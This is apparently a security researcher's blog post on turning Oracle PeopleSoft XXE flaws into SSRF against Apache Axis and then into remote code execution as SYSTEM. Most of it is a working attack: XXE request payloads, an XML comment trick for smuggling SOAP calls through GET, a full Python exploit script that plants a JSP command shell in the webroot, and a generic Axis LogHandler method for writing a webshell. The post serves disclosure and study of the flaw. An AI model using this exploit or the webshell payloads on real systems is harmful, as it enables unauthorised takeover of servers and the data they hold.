The article was updated on September 2018 with a more generic way to exploit the AXIS-SSRF combo. You can scroll to the end of the article here.
I had the chance, a few months ago, to audit several Oracle PeopleSoft solutions, including PeopleSoft HRMS and PeopleTool. Despite several undocumented CVEs, the Internet did not have much to offer on how to attack the software, except for the very informative talk from ERPScan at HITB from two years ago. From the slides, it was clear PeopleSoft was a nest of vulnerabilities, despite not having lots of public information about them.
PeopleSoft applications contain a lot of different endpoints, many of which are unauthenticated. Many services also happen to use defaut passwords, probably as a result of the need for interconnectivity. As a result, it is very shaky security-wise, and the exploitation vectors seem to be everywhere.
This article shows a generic way (read: probably affecting every PeopleSoft version) for converting an XXE into running commands as SYSTEM.
Multiple XXEs are known, such as CVE-2013-3800 or CVE-2013-3821. The last documented example is ERPScan's CVE-2017-3548. Generally, they can be used to extract the credentials for PeopleSoft and WebLogic consoles, but the two consoles do not provide an easy way of getting a shell. Furthermore, since the last XXE is blind, and we're assuming a firewalled network, we assume for this article that we cannot easily extract data from local files.
CVE-2013-3821 - Integration Gateway HttpListeningConnector XXE
POST /PSIGW/HttpListeningConnector HTTP/1.1 Host: website.com Content-Type: application/xml ... <?xml version="1.0"?> <!DOCTYPE IBRequest [ <!ENTITY x SYSTEM "http://localhost:51420"> ]> <IBRequest> <ExternalOperationName>&x;</ExternalOperationName> <OperationType/> <From><RequestingNode/> <Password/> <OrigUser/> <OrigNode/> <OrigProcess/> <OrigTimeStamp/> </From> <To> <FinalDestination/> <DestinationNode/> <SubChannel/> </To> <ContentSections> <ContentSection> <NonRepudiation/> <MessageVersion/> <Data><![CDATA[<?xml version="1.0"?>your_message_content]]> </Data> </ContentSection> </ContentSections> </IBRequest>
CVE-2017-3548 - Integration Gateway PeopleSoftServiceListeningConnector XXE
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<!DOCTYPE a PUBLIC "-//B/A/EN" "C:\windows">
Instead, we'll use XXEs as a way to reach various services from localhost, possibly bypassing firewall rules or authorization checks. The only slight problem is finding the local port it's bound to. We can get it upon reaching the main page, through cookies:
Set-Cookie: SNP2118-51500-PORTAL-PSJSESSIONID=9JwqZVxKjzGJn1s5DLf1t46pz91FFb3p!-1515514079;
In this case, the port is 51500. We can reach the app from the inside via http://localhost:51500/.
One of the many unauthenticated services is an Apache Axis 1.4 server, under the URL http://website.com/pspc/services. Apache Axis allows you to build SOAP endpoints from Java classes, by generating their WSDL along with helper code to interact with them. In order to administer it, one must interact with the AdminService present at this URL: http://website.com/pspc/services/AdminService.
As an example, here's how an administrator would create an endpoint based on the java.util.Random
class:
POST /pspc/services/AdminService Host: website.com SOAPAction: something Content-Type: application/xml ... <?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <ns1:deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java" xmlns:ns1="http://xml.apache.org/axis/wsdd/"> <ns1:service name="RandomService" provider="java:RPC"> <ns1:parameter name="className" value="java.util.Random"/> <ns1:parameter name="allowedMethods" value="*"/> </ns1:service> </ns1:deployment> </soapenv:Body> </soapenv:Envelope>
Every public method of java.util.Random would therefore be available as a webservice. Calling Random.nextInt()
via a SOAP call would look like this:
POST /pspc/services/RandomService Host: website.com SOAPAction: something Content-Type: application/xml ... <?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <api:nextInt /> </soapenv:Body> </soapenv:Envelope>
And it would respond:
HTTP/1.1 200 OK ... <?xml version="1.0" encoding="UTF-8"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <soapenv:Body> <ns1:nextIntResponse soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:ns1="http://127.0.0.1/Integrics/Enswitch/API"> <nextIntReturn href="#id0"/> </ns1:nextIntResponse> <multiRef id="id0" soapenc:root="0" soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xsi:type="xsd:int" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"> 1244788438 <!-- Here's our random integer --> </multiRef> </soapenv:Body> </soapenv:Envelope>
This administration endpoint is blocked for external IPs, but does not require a password when reached from localhost. That makes it a perfect candidate for exploitation. Since we're using an XXE, using POST requests is not possible, and we need a way to convert our SOAP payloads into GET.
The Axis API allows us to send GET requests. It takes given URL parameters and converts them into a SOAP payload. Here's the code responsible for converting GET parameters into an XML payload, from Axis' source code.
public class AxisServer extends AxisEngine { [...] { String method = null; String args = ""; Enumeration e = request.getParameterNames(); while (e.hasMoreElements()) { String param = (String) e.nextElement(); if (param.equalsIgnoreCase ("method")) { method = request.getParameter (param); } else { args += "<" + param + ">" + request.getParameter (param) + "</" + param + ">"; } } String body = "<" + method + ">" + args + "</" + method + ">"; String msgtxt = "<SOAP-ENV:Envelope" + " xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\">" + "<SOAP-ENV:Body>" + body + "</SOAP-ENV:Body>" + "</SOAP-ENV:Envelope>"; } }
To understand how it works, it's again better to use an example:
GET /pspc/services/SomeService ?method=myMethod ¶meter1=test1 ¶meter2=test2
is equivalent to:
<?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <myMethod> <parameter1>test1</parameter1> <parameter2>test2</parameter2> </myMethod> </soapenv:Body> </soapenv:Envelope>
Nevertheless, a problem arises when we try to setup a new endpoint using this method: our XML tags must have attributes, and the code does not allow it. When we try and add them to the GET request, for instance:
GET /pspc/services/SomeService ?method=myMethod+attr0="x" ¶meter1+attr1="y"=test1 ¶meter2=test2
Here's what we end up with:
<?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <myMethod attr0="x"> <parameter1 attr1="y">test1</parameter1 attr1="y"> <parameter2>test2</parameter2> </myMethod attr0="x"> </soapenv:Body> </soapenv:Envelope>
Evidently, this is not valid XML, and our request gets rejected. If we put our whole payload in the method parameter, like so:
GET /pspc/services/SomeService ?method=myMethod+attr="x"><test>y</test></myMethod
This happens:
<?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <myMethod attr="x"><test>y</test></myMethod> </myMethod attr="x"><test>y</test></myMethod> </soapenv:Body> </soapenv:Envelope>
Our payload is therefore used twice, once prefixed by <
, and once prefixed by </
. The solution comes from playing with XML comments:
GET /pspc/services/SomeService ?method=!--><myMethod+attr="x"><test>y</test></myMethod
We get:
<?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <!--><myMethod attr="x"><test>y</test></myMethod> </!--><myMethod attr="x"><test>y</test></myMethod> </soapenv:Body> </soapenv:Envelope>
Due to the !-->
prefix we added, the first payload begins with <!--
, which is the start of an XML comment. The second line starts with </!
, followed by -->
, which is the end of the comment. The first line is therefore ignored and our payload is now only interpreted once.
From this, we can convert any SOAP request from POST to GET, which means we can deploy any class as an Axis Service, using the XXE to bypass the IP check.
Apache Axis does not allow us to upload our own Java classes when deploying them; we must therefore work with already available ones. After some research in PeopleSoft's pspc.war, which contains the Axis instance, it appears the Deploy
class of the org.apache.pluto.portalImpl
package contains interesting methods. First, addToEntityReg(String[] args)
allows us to add arbitrary data at the end of an XML file. Second, copy(file1, file2)
allows us to copy it anywhere. This is enough to get a shell, by inserting a JSP payload in our XML, and copying it into the webroot.
As expected, PeopleSoft runs as SYSTEM. This results in an unauthenticated remote SYSTEM exploit, just from an XXE.
This exploitation vector should be more or less generic to every recent PeopleSoft version. The XXE endpoint just needs to be modified.
#!/usr/bin/python3 # Oracle PeopleSoft SYSTEM RCE # https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce # cf # 2017-05-17 import requests import urllib.parse import re import string import random import sys from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) try: import colorama except ImportError: colorama = None else: colorama.init() COLORS = { '+': colorama.Fore.GREEN, '-': colorama.Fore.RED, ':': colorama.Fore.BLUE, '!': colorama.Fore.YELLOW } URL = sys.argv[1].rstrip('/') CLASS_NAME = 'org.apache.pluto.portalImpl.Deploy' PROXY = 'localhost:8080' # shell.jsp?c=whoami PAYLOAD = '<%@ page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>' class Browser: """Wrapper around requests. """ def __init__(self, url): self.url = url self.init() def init(self): self.session = requests.Session() self.session.proxies = { 'http': PROXY, 'https': PROXY } self.session.verify = False def get(self, url ,*args, **kwargs): return self.session.get(url=self.url + url, *args, **kwargs) def post(self, url, *args, **kwargs): return self.session.post(url=self.url + url, *args, **kwargs) def matches(self, r, regex): return re.findall(regex, r.text) class Recon(Browser): """Grabs different informations about the target. """ def check_all(self): self.site_id = None self.local_port = None self.check_version() self.check_site_id() self.check_local_infos() def check_version(self): """Grabs PeopleTools' version. """ self.version = None r = self.get('/PSEMHUB/hub') m = self.matches(r, 'Registered Hosts Summary - ([0-9\.]+).</b>') if m: self.version = m[0] o(':', 'PTools version: %s' % self.version) else: o('-', 'Unable to find version') def check_site_id(self): """Grabs the site ID and the local port. """ if self.site_id: return r = self.get('/') m = self.matches(r, '/([^/]+)/signon.html') if not m: raise RuntimeError('Unable to find site ID') self.site_id = m[0] o('+', 'Site ID: ' + self.site_id) def check_local_infos(self): """Uses cookies to leak hostname and local port. """ if self.local_port: return r = self.get('/psp/%s/signon.html' % self.site_id) for c, v in self.session.cookies.items(): if c.endswith('-PORTAL-PSJSESSIONID'): self.local_host, self.local_port, *_ = c.split('-') o('+', 'Target: %s:%s' % (self.local_host, self.local_port)) return raise RuntimeError('Unable to get local hostname / port') class AxisDeploy(Recon): """Uses the XXE to install Deploy, and uses its two useful methods to get a shell. """ def init(self): super().init() self.service_name = 'YZWXOUuHhildsVmHwIKdZbDCNmRHznXR' #self.random_string(10) def random_string(self, size): return ''.join(random.choice(string.ascii_letters) for _ in range(size)) def url_service(self, payload): return 'http://localhost:%s/pspc/services/AdminService?method=%s' % ( self.local_port, urllib.parse.quote_plus(self.psoap(payload)) ) def war_path(self, name): # This is just a guess from the few PeopleSoft instances we audited. # It might be wrong. suffix = '.war' if self.version and self.version >= '8.50' else '' return './applications/peoplesoft/%s%s' % (name, suffix) def pxml(self, payload): """Converts an XML payload into a one-liner. """ payload = payload.strip().replace('\n', ' ') payload = re.sub('\s+<', '<', payload, flags=re.S) payload = re.sub('\s+', ' ', payload, flags=re.S) return payload def psoap(self, payload): """Converts a SOAP payload into a one-liner, including the comment trick to allow attributes. """ payload = self.pxml(payload) payload = '!-->%s' % payload[:-1] return payload def soap_service_deploy(self): """SOAP payload to deploy the service. """ return """ <ns1:deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java" xmlns:ns1="http://xml.apache.org/axis/wsdd/"> <ns1:service name="%s" provider="java:RPC"> <ns1:parameter name="className" value="%s"/> <ns1:parameter name="allowedMethods" value="*"/> </ns1:service> </ns1:deployment> """ % (self.service_name, CLASS_NAME) def soap_service_undeploy(self): """SOAP payload to undeploy the service. """ return """ <ns1:undeployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:ns1="http://xml.apache.org/axis/wsdd/"> <ns1:service name="%s"/> </ns1:undeployment> """ % (self.service_name, ) def xxe_ssrf(self, payload): """Runs the given AXIS deploy/undeploy payload through the XXE. """ data = """ <?xml version="1.0"?> <!DOCTYPE IBRequest [ <!ENTITY x SYSTEM "%s"> ]> <IBRequest> <ExternalOperationName>&x;</ExternalOperationName> <OperationType/> <From><RequestingNode/> <Password/> <OrigUser/> <OrigNode/> <OrigProcess/> <OrigTimeStamp/> </From> <To> <FinalDestination/> <DestinationNode/> <SubChannel/> </To> <ContentSections> <ContentSection> <NonRepudiation/> <MessageVersion/> <Data> </Data> </ContentSection> </ContentSections> </IBRequest> """ % self.url_service(payload) r = self.post( '/PSIGW/HttpListeningConnector', data=self.pxml(data), headers={ 'Content-Type': 'application/xml' } ) def service_check(self): """Verifies that the service is correctly installed. """ r = self.get('/pspc/services') return self.service_name in r.text def service_deploy(self): self.xxe_ssrf(self.soap_service_deploy()) if not self.service_check(): raise RuntimeError('Unable to deploy service') o('+', 'Service deployed') def service_undeploy(self): if not self.local_port: return self.xxe_ssrf(self.soap_service_undeploy()) if self.service_check(): o('-', 'Unable to undeploy service') return o('+', 'Service undeployed') def service_send(self, data): """Send data to the Axis endpoint. """ return self.post( '/pspc/services/%s' % self.service_name, data=data, headers={ 'SOAPAction': 'useless', 'Content-Type': 'application/xml' } ) def service_copy(self, path0, path1): """Copies one file to another. """ data = """ <?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <api:copy soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <in0 xsi:type="xsd:string">%s</in0> <in1 xsi:type="xsd:string">%s</in1> </api:copy> </soapenv:Body> </soapenv:Envelope> """.strip() % (path0, path1) response = self.service_send(data) return '<ns1:copyResponse' in response.text def service_main(self, tmp_path, tmp_dir): """Writes the payload at the end of the .xml file. """ data = """ <?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <api:main soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <api:in0> <item xsi:type="xsd:string">%s</item> <item xsi:type="xsd:string">%s</item> <item xsi:type="xsd:string">%s.war</item> <item xsi:type="xsd:string">something</item> <item xsi:type="xsd:string">-addToEntityReg</item> <item xsi:type="xsd:string"><![CDATA[%s]]></item> </api:in0> </api:main> </soapenv:Body> </soapenv:Envelope> """.strip() % (tmp_path, tmp_dir, tmp_dir, PAYLOAD) response = self.service_send(data) def build_shell(self): """Builds a SYSTEM shell. """ # On versions >= 8.50, using another extension than JSP got 70 bytes # in return every time, for some reason. # Using .jsp seems to trigger caching, thus the same pivot cannot be # used to extract several files. # Again, this is just from experience, nothing confirmed pivot = '/%s.jsp' % self.random_string(20) pivot_path = self.war_path('PSOL') + pivot pivot_url = '/PSOL' + pivot # 1: Copy portletentityregistry.xml to TMP per = '/WEB-INF/data/portletentityregistry.xml' per_path = self.war_path('pspc') tmp_path = '../' * 20 + 'TEMP' tmp_dir = self.random_string(20) tmp_per = tmp_path + '/' + tmp_dir + per if not self.service_copy(per_path + per, tmp_per): raise RuntimeError('Unable to copy original XML file') # 2: Add JSP payload self.service_main(tmp_path, tmp_dir) # 3: Copy XML to JSP in webroot if not self.service_copy(tmp_per, pivot_path): raise RuntimeError('Unable to copy modified XML file') response = self.get(pivot_url) if response.status_code != 200: raise RuntimeError('Unable to access JSP shell') o('+', 'Shell URL: ' + self.url + pivot_url) class PeopleSoftRCE(AxisDeploy): def __init__(self, url): super().__init__(url) def o(s, message): if colorama: c = COLORS[s] s = colorama.Style.BRIGHT + COLORS[s] + '|' + colorama.Style.RESET_ALL print('%s %s' % (s, message)) x = PeopleSoftRCE(URL) try: x.check_all() x.service_deploy() x.build_shell() except RuntimeError as e: o('-', e) finally: x.service_undeploy()
Over the past year I've encountered several other AXIS-SSRF combinations, and the previous exploitation, which relied on finding gadgets in existing classes, was pretty annoying to pull off, especially in unknown environments. Even if you were able to obtain a list of classes to work with, finding a proper gadget combination was time consuming. I therefore went back and tried to find an exploitation vector within Axis' core. The main focus was finding a way to write a JSP file in the web directory, in order to get an easy way to execute code.
After a few minutes reading the documentation a perfect candidate emerged: LogHandler
. Axis allows you to deploy, in addition to services, handlers, that are called every time a SOAP call is made. LogHandler
, as its name indicates, will log every request and response to an arbitrary file. Here's the deployment request:
<ns1:deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java" xmlns:ns1="http://xml.apache.org/axis/wsdd/"> <ns1:service name="RandomService" provider="java:RPC"> <requestFlow> <handler type="RandomLog"/> </requestFlow> <ns1:parameter name="className" value="java.util.Random"/> <ns1:parameter name="allowedMethods" value="*"/> </ns1:service> <handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler" > <parameter name="LogHandler.fileName" value="/opt/tomcat/webapps/shell.jsp" /> <parameter name="LogHandler.writeToConsole" value="false" /> </handler> </ns1:deployment>
Reminder: just like the undeploy request, this needs to be sent via the SSRF, as AXIS automatically assumes you're an admin if you're from the same IP.
Here, in addition to the creation of a service named RandomService from the java.util.Random
class, we add a LogHandler
and set its path into the webroot. After this, we can send a SOAP request through standard HTTP (not using the SSRF):
POST /axis/RandomService SOAPAction: something <?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <api:main soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <api:in0><![CDATA[ <%@page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%> ]]> </api:in0> </api:main> </soapenv:Body> </soapenv:Envelope>
The call will fail, but the request will still be logged in /opt/tomcat/webapps/shell.jsp
, which will result in a shell.
After this, both the handler and the service need to be undeployed:
<ns1:undeployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:ns1="http://xml.apache.org/axis/wsdd/"> <ns1:service name="RandomService"/> <ns1:handler name="RandomLog"/> </ns1:undeployment>
I have not updated the PeopleSoft exploit as it works anyways, but I believe the generic AXIS-SSRF to RCE technique might be useful to some, so an update was warranted.